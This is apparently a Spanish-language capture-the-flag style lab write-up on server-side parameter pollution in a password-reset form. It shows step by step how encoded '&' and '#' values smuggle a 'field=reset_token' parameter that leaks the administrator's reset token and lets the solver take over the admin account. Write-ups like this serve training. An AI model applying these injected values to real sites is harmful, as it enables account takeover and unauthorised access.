> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/api-testing/server-side-parameter-pollution-in-the-query-string.md).

# Contaminación de parámetros del lado del servidor en la cadena de consulta

### Explotación de la contaminación de parámetros del lado del servidor en una cadena de consulta

**Objetivo del laboratorio**/ Inicia sesión como administrador y luego elimina al usuario **carlos**.

#### Funcionalidad de olvidar contraseña

Hay disponible una función de restablecimiento de contraseña.

<figure><img src="/files/5fc0f48bba3ccdc9848bdc2685d696a3f7fd3542" alt=""><figcaption></figcaption></figure>

La solicitud enviada al servidor es la siguiente:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator
```

La respuesta del servidor es:

```json
{
    "type":"email",
    "result":"*****@normal-user.net"
}
```

<figure><img src="/files/3a387762a04050d43c1b15c5b8e501fabd2d58ba" alt=""><figcaption></figcaption></figure>

#### Intentos de contaminar parámetros

Intenta agregar un nuevo parámetro mediante `&`:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator&test=test
```

o codificado:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%26test=test
```

El servidor responde:

```json
{
    "error": "Parameter is not supported."
}
```

#### Usando las `#` Carácter

Con `#`, el comportamiento cambia:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator#test=test
```

o codificado:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%23test=test
```

Respuesta del servidor:

```json
{
    "error": "Field not specified."
}
```

Esto indica la existencia de un **campo privado** parámetro esperado del lado del servidor.

#### Descubrimiento del `campo privado` Parámetro

Envía la siguiente solicitud:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator&field=test
```

Luego combinamos `campo privado` por `#` para inyectar valores adicionales:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator&field=x#
```

o codificado:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%26field=x%23
```

<figure><img src="/files/87c7e074d1585a0b2bc9982c5c90179554636988" alt=""><figcaption></figcaption></figure>

Probando diferentes **nombres de variables del lado del servidor**, obtienes una respuesta válida con el código **200**, revelando los campos **correo electrónico** y **username**.

<figure><img src="/files/345927aeea5bea7803147c45722905ac39c43369" alt=""><figcaption></figcaption></figure>

#### Análisis del archivo JavaScript forgot-password.js

Un archivo JavaScript accesible revela la siguiente lógica:

* Los datos del formulario se codifican manualmente.
* La consulta se envía mediante `fetch` en POST.
* Si la respuesta contiene la propiedad `result` , se muestra el mensaje Por favor, revisa tu correo electrónico.
* Un **reset-token** el parámetro se recupera de la cadena de consulta:

```javascript
let forgotPwdReady = (callback) => {
    if (document.readyState !== "loading") callback();
    else document.addEventListener("DOMContentLoaded", callback);
}

function urlencodeFormData(fd){
    let s = '';
    function encode(s){ return encodeURIComponent(s).replace(/%20/g,'+'); }
    for(let pair of fd.entries()){
        if(typeof pair[1]=='string'){
            s += (s?'&':'') + encode(pair[0])+'='+encode(pair[1]);
        }
    }
    return s;
}

const validateInputsAndCreateMsg = () => {
    try {
        const forgotPasswordError = document.getElementById("forgot-password-error");
        forgotPasswordError.textContent = "";
        const forgotPasswordForm = document.getElementById("forgot-password-form");
        const usernameInput = document.getElementsByName("username").item(0);
        if (usernameInput && !usernameInput.checkValidity()) {
            usernameInput.reportValidity();
            return;
        }
        const formData = new FormData(forgotPasswordForm);
        const config = {
            method: "POST",
            headers: {
                "Content-Type": "x-www-form-urlencoded",
            },
            body: urlencodeFormData(formData)
        };
        fetch(window.location.pathname, config)
            .then(response => response.json())
            .then(jsonResponse => {
                if (!jsonResponse.hasOwnProperty("result"))
                {
                    forgotPasswordError.textContent = "Nombre de usuario inválido";
                }
                else
                {
                    forgotPasswordError.textContent = `Por favor, revisa tu correo electrónico: "${jsonResponse.result}"`;
                    forgotPasswordForm.className = "";
                    forgotPasswordForm.style.display = "none";
                }
            })
            .catch(err => {
                forgotPasswordError.textContent = "Nombre de usuario inválido";
            });
    } catch (error) {
        console.error("Unexpected Error:", error);
    }
}

const displayMsg = (e) => {
    e.preventDefault();
    validateInputsAndCreateMsg(e);
};

forgotPwdReady(() => {
    const queryString = window.location.search;
    const urlParams = new URLSearchParams(queryString);
    const resetToken = urlParams.get('reset-token');
    if (resetToken)
    {
        window.location.href = `/forgot-password?reset_token=${resetToken}`;
    }
    else
    {
        const forgotPasswordBtn = document.getElementById("forgot-password-btn");
        forgotPasswordBtn.addEventListener("click", displayMsg);
    }
});
```

Esto confirma la existencia de un **reset/ token** parámetro.

#### Usando el `reset_token` Parámetro

Este parámetro se inyecta luego mediante contaminación del servidor:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%26field=reset_token%23
```

El servidor responde:

```json
{
    "type":"reset_token","result":"62ptz5mdgs48omh0u3uf3z7b7w9kiybt"
}
```

<figure><img src="/files/719294cdd54ebfd7b7f8d48661e3afd5b1a97187" alt=""><figcaption></figcaption></figure>

#### Restablecer la contraseña de administrador

Usando el token obtenido, accedes a la siguiente URL:

```bash
/forgot-password?reset_token=62ptz5mdgs48omh0u3uf3z7b7w9kiybt
```

Esto te permite restablecer la contraseña del administrador, iniciar sesión con esta cuenta y luego eliminar al usuario **carlos**, validando así el laboratorio.

<figure><img src="/files/3e620c897dccaea6811ca418636fae8a57e492f7" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/api-testing/server-side-parameter-pollution-in-the-query-string.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
